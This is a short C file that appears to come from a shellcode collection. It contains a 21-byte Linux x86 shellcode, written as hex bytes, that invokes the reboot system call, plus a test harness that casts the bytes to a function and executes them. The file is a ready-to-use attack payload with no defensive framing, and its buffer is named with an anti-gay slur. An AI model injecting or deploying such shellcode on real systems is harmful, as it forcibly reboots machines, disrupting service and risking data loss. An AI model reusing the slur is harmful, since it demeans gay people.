/******************************************************************************* * * * ~ .__ °.__ 0 o ^ .__ °__ `´ * * °____) __ __| | | °| ______°____ 0 ____ __ _________|__|/ |_ ___.__. * * / \| | °\ |°| | °/ ___// __ \_/ ___\| | °\_ __ \ o\ __< | | * * | o°| \ | / |_| |__\___ \\ ___/\ °\___| o| /| | \/ || |° \___ O| * * |___| /____/|____/____/____ °>\___ >\___ >____/ |__|° |__||__| / ____| * * `´´`´\/´`nullsecurity team`´\/`´´`´\/`´``´\/ ``´```´```´´´´`´``0_o\/´´`´´ * * * * reboot_linux.c * * * * DATE * * xx/xx/2008 * * * * OS * * Linux * * * * ARCH * * x86 * * * * TYPE * * reboot(0x1234567); * * * * SIZE * * 21 bytes * * * * AUTHOR * * noptrix - http://www.nullsecurity.net/ * * * ******************************************************************************/ #include unsigned char gaycode[] = "\x31\xc0\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xb0" "\x58\xcd\x80"; int main() { void (*f)(); f = (void *) gaycode; printf("%d\n", strlen(gaycode)); f(); return 1337; }